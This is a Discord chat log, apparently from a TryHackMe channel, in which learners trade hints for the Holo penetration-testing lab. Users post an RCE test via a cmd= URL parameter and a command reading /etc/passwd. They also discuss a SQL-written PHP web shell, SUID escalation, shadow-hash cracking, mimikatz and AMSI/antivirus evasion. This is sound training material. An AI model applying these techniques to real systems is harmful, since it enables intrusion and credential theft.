Would someone mind helping me also with the ‘what monitoring/event logging solution’ is employed. I checked the hint and onoy have one process flagged and that’s not the answer

[next kite]

Thanks @river cradle that proxychains trick did it by the way 🙂

[hollow steeple]

Gave +1 Rep to @river cradle

[wind bobcat]

psa I've temporarily removed S-SRV02 flags

[bold raft]

Now the last flag... what monitoring/event is running on PC-FILESRV01? I did put a procmon on the server, looked in files, but no signal of that solution. Can someone help me with this?

[livid shoal]

ahhh yea it doesnt come in logs or maybe i didnt enumerate much before i just remembered it by memory. but its a such a common option for it to be used in windows based systems

sysinternals

[vital olive]

Hey - I am currently in the process of trying to get a reverse shell for the .33 machine - the fuzzing of RCE did not work at all, only by looking at the source code was I able to decipher which parameter should be vulnerable, when trying to query whoami via this parameter I dont get any response (except the header) when following the provided command curl -vvv ...etc - is this a known error?

update... someone disabled? the login again on 10.200.137...

[lone spruce]

@wind bobcat you take szymon off the file server?

[wind bobcat]

why in the hell would I do that

[river cradle]

[lone spruce]

Because you would

[river cradle]

are you sure it was root and not linux-admin?

[woven lava]

Yeah I'm sorry I just realised it was a stupid question

And I guess to be root, we need to use the SUID?

[river cradle]

yup

[vital olive]

ok something is off - so whenever I reset the network the login for the admin panel on 33 works the first time, but at some point the shell crashes/dies and then I cannot login with the credentials anymore?

[zenith canyon]

I had the same problem, you have to restart the browser because the phpsession is only valid for one time.

[vital olive]

😮 thank you!

[hollow steeple]

Gave +1 Rep to @zenith canyon

[wind bobcat]

^^ good solution. you can also open an incognito tab

I think that's what I advised the testers to do

[cerulean zodiac]

Hey there don't suppose anyone can give me a nudge with task 12 ? Im fuzzing for the parameter for RCE and Im not sure Im even using the right wordlist now. I've been using the suggested one, seclists/../../big.txt, but im still finding nothing. I know the right page to fuzz I just can seem to get the parameter.

Is anyone able to give me a nudge or DM me about it ?

[vernal veldt]

Can anyone please nudge me on the last step of task 12?

[wind bobcat]

another way to locate it if you're having trouble fuzzing is to view the source code and look for some comments

[zenith ridge]

hey hey

Ive got a slight issue with the IP addressing

[sharp forum]

have you tried dirbuster looking for .php files?

[zenith ridge]

currently the ip is 192.168.100.1, but that routes automatically to my router

[cerulean zodiac]

I got the file was just struggling to find the param to fuzz for rce, but i got it now

thanks tho

[zenith ridge]

and Im unable to finish the first box

[cerulean zodiac]

Cant you change your router gateway address ?

honestly thats the first time i've heard of a router being on 192.168.100.x

[zenith ridge]

same here

[cerulean zodiac]

try this https://www.netspotapp.com/how-to-change-router-settings.html

[river cradle]

if you run the requests through proxychains so it goes through the proxy, it will route to the proper machine

[wind bobcat]

not needed

all this should be done on the docker container

none of this should be done on an attacking Kali machine

[cerulean zodiac]

just curious but is there a specific reason for that?

[wind bobcat]

yeah, so docker essentially creates a nat'd network interface

[zenith ridge]

on the docker container

but the docker container is behind the 192.168.100.1

[wind bobcat]

^ yep, 100.1 is essentially the docker containers default gateway

which leads to L-SRV01

[zenith ridge]

and that I cannot connect to

[cerulean zodiac]

So basically as long as you're connecting from a VM or Docker on a Nat Connection it should be fine right?

[zenith ridge]

.100.1 wont allow from my kali

[wind bobcat]

100.1 won't be routable from your Kali machine.

[cerulean zodiac]

you running kali on bare metal ?

[wind bobcat]

the only device that can access it is L-SRV02, or the docker container.

[zenith ridge]

how would I connect through the docker containter then

[wind bobcat]

from the docker container.

task 15-18 will all be done from the docker container.

you will end up on L-SRV01 when you're finished.

[cerulean zodiac]

I think this is getting lost in translation

[zenith ridge]

yeah I think the wires are crosesd

as I was hunting for flags the ip changed

and my shell died

[cerulean zodiac]

but anyways, is anyone else having issues getting on the admin domain ?

my shell died and been unable to log back into the admin domain to get my shell back

[wind bobcat]

open a page in an incognito tab and try again

[cerulean zodiac]

what the...

how did that work ?

[wind bobcat]

php magic

[cerulean zodiac]

kek

[zenith ridge]

guess I go then

¯_(ツ)_/¯

[wind bobcat]

• You won't access 192.168.100.1 from your Kali machine
• You access it from the machine you have gained command execution on
• The 192.168.100.0/24 network is for docker only.

• Two machines live in the 192.168.100.0/24 network, L-SRV01 and L-SRV02

• You will use the command execution gained in Task 12-13 to compromise 192.168.100.1 outlined in tasks 15-18

[cerulean zodiac]

Basically do the RCE from task 12 again to get your shell, then you can get back on to the 192.168.100.x machines

Your router address doesnt effect this since you're on a different internal network

[gloomy ravine]

i cant get root using suid in task 19

[wind bobcat]

don't use the alpine container

use one of the containers docker already has

[gloomy ravine]

ohh got it

[wind bobcat]

don't blindly run commands, always try to understand what they're actually doing

[gloomy ravine]

there are 5 images. i can use any one?

[cerulean zodiac]

is anyone around who could explain the d***er escape to me ? I get how it work I just dont understand how the syntax looks since sql doesnt seem to like php for a table name

maybe im misunderstanding but not sure and dont wanna spoil it for anyone

[river cradle]

technically yes but stick to using the ubuntu one since others are for services and take up more space

[wind bobcat]

essentially, what you're telling the SQL server to do is echo text (that being a php command shell) into a file on the system

[cerulean zodiac]

dont you need to save the command shell as a table before you can echo it into a file ?

[wind bobcat]

nope

[cerulean zodiac]

lmao goddamn im an idiot then xp

thanks for that

[wind bobcat]

you're fine lol

[cerulean zodiac]

it was the way the steps are laid out in the task

I was wondering what the need is for making a new table

[wind bobcat]

yeah, the traditional convention is that you'd dump the contents into a file for backups, or whatever

[gloomy ravine]

rockyou getting exhausted to crack the shadow passwords

[wind bobcat]

which hash are you trying to crack?

[gloomy ravine]

root and linux-admin

The 10.200.69.33

is it asking the root password ?

[wind bobcat]

the 69 subnet is broke

leave and rejoin

[gloomy ravine]

i actually have the root shell.

[wind bobcat]

yes

the .69 subnet is broke

as I said before

you need to leave the room and rejoin

there is technical issues with that subnet specifically.

it was never meant for users to join it.

[gloomy ravine]

Ok leave the room and rejoin right?

[wind bobcat]

yes

[gloomy ravine]

Ok

[cedar prism]

you will need to regenerate your vpn access for your new network too

[gloomy ravine]

i cracked the password in task 21. I still need to rejoin right?

[cedar prism]

yes so that you can continue the rest of the exploits

[gloomy ravine]

ok

[river cradle]

proof that .69 is broken:

[zenith ridge]

Hey hey coming back to say thanks for the help @wind bobcat, I admit that I didnt understand what was happening.
The shell died, the ip addresses seemed to shift and bugured up my stuff, but with you and slight nudges from zerefsec, Ive been able to get through most of the room!

Tldr, you did help and thank you.

[hollow steeple]

Gave +1 Rep to @wind bobcat

[fallow lion]

How am I supposed to find the local ip of the docker container in task 15?. When I do ifconfig, or check it in the hosts file, the ip shows up as ||192.168.100.100||, but that's not correct

[wind bobcat]

that is correct. 192.168.100.100 is the IP address of the docker container.

[fallow lion]

It's taking this as the answer for some reason

Am I confused, or is something not right

[cerulean zodiac]

Just curious but if you run out of time on the network (yes 9 days should be long enough) can you try again another time or are you permanently locked out of doing that network challenge ?

[limpid hollow]

Answers only have to be a certain percentage correct, this accounts for errors. Its normally 1 or 2 digits or characters.
If u refresh the page it'll show the full correct answer.

[wind bobcat]

you can rejoin at any time as long as you have an active subscription

[cerulean zodiac]

ah cool cool

was worried I would be locked out 😄

[stark bobcat]

How long does one usually take to finish hololive ?

I thinking of starting it but just need to see if I can finish it today

[glacial temple]

It honestly depends it's possible to finish in a day

[stark bobcat]

I see I get 9 days to finish it... Just hoping the IPs don't change

[glacial temple]

You're able to join back after it's just to free up space on the networks

IPs don't change unless you leave the network and rejoin

[stark bobcat]

When the network stops I have to rejoin... but a basic scan should be enough

[stark bobcat]

Hmmm guess I'm fuzzing around the wrong way here.... task9. a nudge is appreciated

[topaz jewel]

Any idea why this happens?

[river cradle]

when it stops you just have to start it back up

[topaz jewel]

Nvm, I’m stupid. Figured it out

[topaz jewel]

One more issue, I can access the web page of 10.200.x.31 but can’t ping it or run an nmap scan

[eternal mortar]

need help on cracking shadow file ?

What is the plaintext cracked password from the shadow hash?
i got hash but it took long time to crack still cracking help me with this

[river cradle]

ping won't work because it's a windows host and it's very likely it has that disabled
nmap scan should work, but if you're proxying through sshuttle then it will report all ports as open, and you'll need to either run the scan from the linux (.33) machine or switch to a socks proxy

[topaz jewel]

I’m using chisel and have configured proxychains and am using nmap with it, on running a scan it tells me that all 1000 ports are filtered

[topaz jewel]

Use colabcat like instructed in the walkthrough

[lone spruce]

@wind bobcat did you change the IP because of that one router thing

Am confused

[eternal mortar]

i tried but dont know how to use it

[lone spruce]

All of the instructions to use colabcat are outlined in colabcat

[eternal mortar]

ok letme try

[stark bobcat]

anyone care to give me a push in the right direction on task9 ?

I must be missing something basic

[glacial temple]

On the first question?

[stark bobcat]

I tried dirbuster, wfuzzing, gobuster... nothing came back with a filename or directory that had any usefull content

[glacial temple]

Did you put extensions on the end?

[stark bobcat]

-x yes

[stark bobcat]

mind DM?

[glacial temple]

sure

[wind bobcat]

wat no?

[lone spruce]

Den why tis it .100

[wind bobcat]

idk I just woke up

I have no idea what's happening

[eternal mortar]

dude i tried with colabcat but can't crack the passwd 😦

[lone spruce]

You think I didn’t just wake up

I don’t know what happening

[lone spruce]

Could you be a little more verbose, show us what you’re doing

[eternal mortar]

i used rockyou75 from seclist

[eternal mortar]

can i dm you

[wind bobcat]

that's why

[lone spruce]

Why did you use 75

[wind bobcat]

you should be using the full fledge rockyou

[lone spruce]

@wind bobcat no one has commented on the glorious usage of vtubers

[eternal mortar]

which set default on colbcat

[wind bobcat]

because we use them for essentially nothing lel

[lone spruce]

Change it, the password isn’t in 75

[eternal mortar]

ok

colabcat shell is bit hard to use

[pure saddle]

Hello to all of you , i hope you have a great time ! I think im stuck at task 18 ! i think i tried everything but i cant priv esc from the www-data user and when i try the sudo www-data needs a password . Any hints ? did i miss something ?

[lone spruce]

did you find the ||SUID bit?||

[wind bobcat]

you can do one off commands on google with
!cat /etc/passwd
for example

[pure saddle]

Yeah i did that bit

[lone spruce]

did you find the exploit on gtfobins?

it’s not a sudo exploit it’s an suid exploit

[lone spruce]

Just change the commands where they are already typed rather than using the blind shell

[pure saddle]

Thats true indeed but also with the SUID had no luck, i will give it a little more time

might have missed something / did something wrong

[wind bobcat]

yep, the exact command from gtfobins won't work

you need to understand what the command is doing and how to adjust it for what's on the box

[lone spruce]

you won’t be able to just copy paste it onto the machine you’ll need to tweak it slightly to the target

[pure saddle]

hmmm ok i see, will do a little more research , thanks for the help appreciate it !

[eternal mortar]

got it

[stark bobcat]

I am missing the point of task10

[wind bobcat]

task 10 is more or less just a "practice exploiting some vulnerabilities and see what goes into them and see what actually makes them vulnerable so you can avoid this irl"

[stark bobcat]

I was more like ok so theres a dev environmont... should I be getting root somehow?

Or.... I can install this locally...

[wind bobcat]

that's a local thing

i.e. you install and play around if you like

if this is your first time doing web app exploitation, it's recommended, if not, it's whatever

[stark bobcat]

" we have provided a development instance of a test server" ... This to me reads THM have provided,,,

[wind bobcat]

@lone spruce stop wording things bad

[stark bobcat]

But I get it now.

[lone spruce]

I just had to reword your babbling

[wind bobcat]

yeah stoP

you made it confuse the people

[eternal mortar]

In the mean time I cracked in my local machine 😅

[stark bobcat]

Stuck at task13. I cannot get my shell to actually output again. Tried combining for zsh, or switch to bash... no luck.

looks like python and socat are not installed 😦

[next kite]

You can get static binaries that will run on any Linux machine of the same architecture for both of those

It’s very very unlikely to see socat installed

Python is more likely but not always there

[stark bobcat]

Hmm there's no internet in holo

[river cradle]

you can host them on your own machine, and transfer them from there

since the internal machines can reach your one

[stark bobcat]

Ah yes I can do that

I really need to learn that everything is fair game. And not a CISO game

[next kite]

That doesn’t matter. Like szymex said you can download to your machine and then send on to the otehr machine

[stark bobcat]

I mean I am usually not busy with trying to break in.

[terse hazel]

would i be possible to have someone reset holo network just started on it and webserver is not repsonding

[zenith canyon]

Oh my.. The AV evasion part is a challenge for me since I never had to use it 😅 but learning so damn much! 😁 really having fun with the challenges, lot of Homer Simpson "Do'h!" moments.

[wind bobcat]

you'll need to be specific about what subnet you're on. Most people here are on a different one.

If you're on .69, leave and rejoin

[eternal mortar]

Stuck on task 34 uploaded the staget.php file tried to trigger the php but i can't. Am i missing anything ? need help with this

[lone spruce]

What do you mean by can’t?

[eternal mortar]

i got code execution in my local windows machine i successfully bypassed AV but on remote server it can't execute my payload

[lone spruce]

Could you show us what you’re doing, show the payload, etc

[terse hazel]

Sorry was just away 10.200.142.xx

Edited- AFter i got back it was stopped 🙂 - ie. problem solved

[eternal mortar]

i can't send screen shots here can i dm you

[upper rock]

You need to verify

!docs verify

[final patio]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[eternal mortar]

!docs verify

[final patio]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[upper rock]

send the bot "!verify <token>" you get your discord token in the profile page on thm

[eternal mortar]

Ok

[upper rock]

https://tryhackme.com/profile

and dm the bot do not post it here in the discord :)

(your token)

[eternal mortar]

Php wrapper i used

my shell.ps1 scripts works on my local machine enabled windows defender

From server i got hit but the payload did't executed

Got shell from local machine

[terse hazel]

@wind bobcat It's down again 10.20.142.x used ffuf with -t 10

[wind bobcat]

I don't have control over the individual network instances

[terse hazel]

Okay guess I have to wait until it shuts down

[wind bobcat]

reset != shutdown

shutdowns preserve the network state

resets restore it from the images we provided

[terse hazel]

Yeah but hope it will reboot the Webserver so I can continue no others are using the network it seems

[wind bobcat]

i dont believe the docker container is graceful lol

typically, they're not designed to be

[eternal mortar]

@lone spruce

[lone spruce]

If I had to guess it’s because of character escaping in php. That payload also looks sketch and might still get picked up even if it didn’t on your local machine.

[topaz jewel]

I have a small doubt in task 31 with the code to bypass ASMI, I don’t see it being used anywhere else. According to what I understood, you copy a normal PowerShell payload, you obfuscate it with Invoke-Obfuscation and link it to the php wrapper. Please correct me if I am wrong.

[lone spruce]

ish

there are a variety of techniques there that can be used

Cleaning, Obfuscation, Bypassing

I think I intended to make a precursor task and then got caught up and forgot about it

[topaz jewel]

But is this right?

[lone spruce]

again -ish

that is one way of doing it

[topaz jewel]

So is it important that I add the asmi bypass with my ps rev shell and obfuscate it together or I do I really need the asmi bypass ?

[lone spruce]

depends, does your payload get picked up by AMSI?

If yes, then yes. If no, then no

[topaz jewel]

Thank you

[terse hazel]

quick question inside the docker container my ip seems to be different from the one in solution ? - shouldn't I be able to see it with ifconfig ? ie the last octet is xxx the answer is only x

[lone spruce]

@wind bobcat ree

[wind bobcat]

go away

[cobalt isle]

I am currently on the DLL Hijacking part on PC-FILESRV01. But I don't see any scheduled tasks that could be used for DLL Hijacking. All of them are in the \Microsoft\Windows\ folder. So i don't think that these binaries will be vulnerable to DLL Hijacking. Any suggestions?

[wind bobcat]

there should be another one that runs a file in a users home folder

[cobalt isle]

Thank you. Seems like we have to reset the network

[hollow steeple]

Gave +1 Rep to @wind bobcat

[outer talon]

Hi, I'm struggling with the LFI task on Holo, when I try to read the file it downloads the root page and doesn't actually display the path passed to the parameter, am i missing something?

[wind bobcat]

try curling that URL opposed to accessing it via web

[outer talon]

yeah i did and it didn't load

i'll try again

it worked thx, the server might have just crashed when i tried before

[lone spruce]

its legitimately broken you nematode

[wind bobcat]

go

away

[cedar maple]

uhhhh i am stupid? this nmap scan doesn't work so instead of x I could try 0-255 right?

192.168.100.0/24 this works so hek, not a network problem

[wind bobcat]

for example, 10.200.104.0/24

you'd replace 104 with whatever subnet thm assigned you to

[cedar maple]

ah so the subnet is different for everyone,
first network for me,didn't know that

also, the access is only for 9 days..? idk if that would be possible with my University on : P

[wind bobcat]

#wreath-network message

@cedar maple ^

[cedar maple]

Oh thanks for that

[terse hazel]

regarding the dll hijacking i can see the exe file, but i cant see which service that is running this ?

[topaz jewel]

Does anyone have external resources or videos on the AV evasion module?

[cobalt isle]

Process Doppelgäning: https://www.youtube.com/watch?v=XmWOj-cfixs&list=WL&index=11
Evading Detection: A Beginner's Guide to Obfuscation: https://www.youtube.com/watch?v=lP2KF7_Kwxk&list=WL&index=13
Understanding Modern EDR Tools: How They Work, How They Provide Value, and How to Bypass Them: https://youtu.be/6OF6lA0kCuY
Also you could look each technique for "defense evasion" in MITRE ATT&CK: https://attack.mitre.org/tactics/TA0005/
Also process ghosting is a relativly new technique: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
You could also consider DLL unhooking... this is also pretty effective

[topaz jewel]

Thank you

[hollow steeple]

Gave +1 Rep to @cobalt isle

[upper rock]

Hey, I'm on the last question of task 12 and really struggling with executing a command with the ?cmd= , I've tried just changing a few bits on the curl command given in the task and changed it to this: ||curl -vvv http://admin.holo.live/dashboard.php?cmd=whoami && echo ""|| which doesn't give me anything except the headers (I'll post a screenshot) Can someone give me some help on what I'm missing?

[terse hazel]

Why the && echo ?

[upper rock]

That's included in the example command used on the test environment, it doesn't change the output when I tested without it

[terse hazel]

Have you tried in a browser ? And if so what could be the difference ?

[terse hazel]

A good thing to test is to proxy the browser request Through Burp

[upper rock]

Ok, I'll try that :)

[cedar maple]

hey uhh, I added "holo.live" to my /etc/hosts, gobuster seems to work but Firefox still doesn't resolve the holo.live domain for me,
am I doing something wrong?

[upper rock]

You need to add "www.holo.live" and likewise with every subdomain

[cedar maple]

oh

[upper rock]

so also add "subdomain.holo.live ip" for every subdomain

Took me a while to figure that out as well 😅

[cedar maple]

damn, yeah : P I can see why

Is this fairly normal, adding ips /etc/hosts? Didn't see this in any beginner rooms but I do see this in the medium writeups

[upper rock]

It depends, you often don't have to do it but when you work with subdomains you have to (I think) like in Holo and the upload vulns room but it's also useful so that you don't have to memorize the ip

[upper rock]

Thank you! That worked :)

[hollow steeple]

Gave +1 Rep to @terse hazel

[cedar maple]

ah that explains, thanks!

[hollow steeple]

Gave +1 Rep to @upper rock

[terse hazel]

can someone help with task47 I waited for ever to get a hash back(task 46) without luck , and task 47 i just get an error

[whole falcon]

Am going to snitch on myself, but it's good because someone else won't fall in the trap...so I got a working shell on S-SRV01 using a command exploit in thea PNG file. Exactly the same payload that worked on the Wreath Network....you get a shell as nt authority\system and all...I also dumped the Sam and System hives and extracted the hashes.

Here's the caveat, or where it's all screwed, by not using the AV bypass payload, it means that AMSI is very much alive and whenever you try to upload mimikatz or any powershell script, it gets picked up immediately. So keep that in mind. I'm going to have to patch AMSI becsuse it's the only way I can move forward.

Oh, and there's a netcat binary in the webserver images folder...In my defence, I was testing things out, to see if it'll work and it worked. We can reset the whole thing, I believe that will get rid of it as I've tried deleting it but I keep getting a permission denied.

[lone spruce]

@outer junco @clear zephyr

[clear zephyr]

We're you not able to bypass AMSI?

[lone spruce]

That’s probably another users, if you see another tool like that it’s usually best not to mess with it as it’s another users. Remember they’re shared instances

[lone spruce]

The VPN error?

[whole falcon]

@lone spruce I'm the one who uploaded the netcat binary...I can confirm that 100%...deleting it is the issue, but I figure a network reset will do the trick?

@clear zephyr no, just a plain old netcat shell with AMSI enabled.

[lone spruce]

Ah I see, yeah if you reset the network you will get fresh images of all the machines

[whole falcon]

@lone spruce alright

[whole falcon]

@lone spruce Found another unintended, I think, way of running mimikatz without doing squat about the AMSI bypass

Can I dm or just post it here?

[lone spruce]

there are no unintendeds here

it is an open lab with intended ways, we guide you through the process we suggest. How you pwn it is up to you

I wouldnt even use an AMSI bypass with mimikatz because it would be on disk and AMSI would assume defender is already instrumented

its more about teaching rather than a challenge

[topaz jewel]

My .ps1 payloads get detected on running even after encoding but threatcheck just says no threats found and if I switch the engine to amsi it tells me to ensure if real time protection is enable which is

[whole falcon]

@lone spruce Noted

[lone spruce]

what is the error when you run it?

[topaz jewel]

It gets detected by the av, but when I run it against threatcheck it says that no threats were found

[lone spruce]

have you tried not putting it on disk?

[topaz jewel]

Yes

[lone spruce]

and what error did it give you

[topaz jewel]

Doesn’t give me an error just says that no threats were found(threatcheck) but on execution it gets caught

[lone spruce]

okay

when you run it on PowerShell

and it gets caught

[topaz jewel]

Yes

[lone spruce]

what error does it give you

if its not on disk its going to give you an error

[topaz jewel]

The script contains malicious content and has been blocked by your antivirus software

[lone spruce]

have you attempted to run it against amsitrigger?

that would be my next move

[topaz jewel]

Yes, that works fine

I was able to bypass amsi but not defender

[lone spruce]

have you tried just throwing Invoke-Obf on it?

honestly the ps1 payloads suck thats why we suggest covenant its a lot easier to work with

[topaz jewel]

Yes, it still gets caught by defender

[lone spruce]

IMO use a different payload or just keep throwing things at it until it sticks

[topaz jewel]

I didn’t set up covenant cause I still use starkiller from the throwback lab but according to what I read it gives out the same ps oneliner right?

[lone spruce]

a ps1 one liner in one c2 is not the same as another c2

[topaz jewel]

Oh

[lone spruce]

they are the same initializers because that one works

but the only thing that matters is the encoded data inside

which is what gets picked up

you can pretty easily obfuscate the empire code with the built in invoke-obfuscation

but if youre only obfuscating the one liner itself of course its getting picked up

[topaz jewel]

Okay, so let me try to Gen the shell we covenant, obfuscate it and then try it out

[lone spruce]

you can still use empire easy peasy just some different steps involved

[topaz jewel]

Will try that out if this doesn’t work

I can’t select a listener or implant template in the launchers tab for binary in covenant

[lone spruce]

Have you created a listener?

Could you show us?

just saying somethings not working doesn’t help me to help you at all

[topaz jewel]

I created a default http profile, edited the connect port and address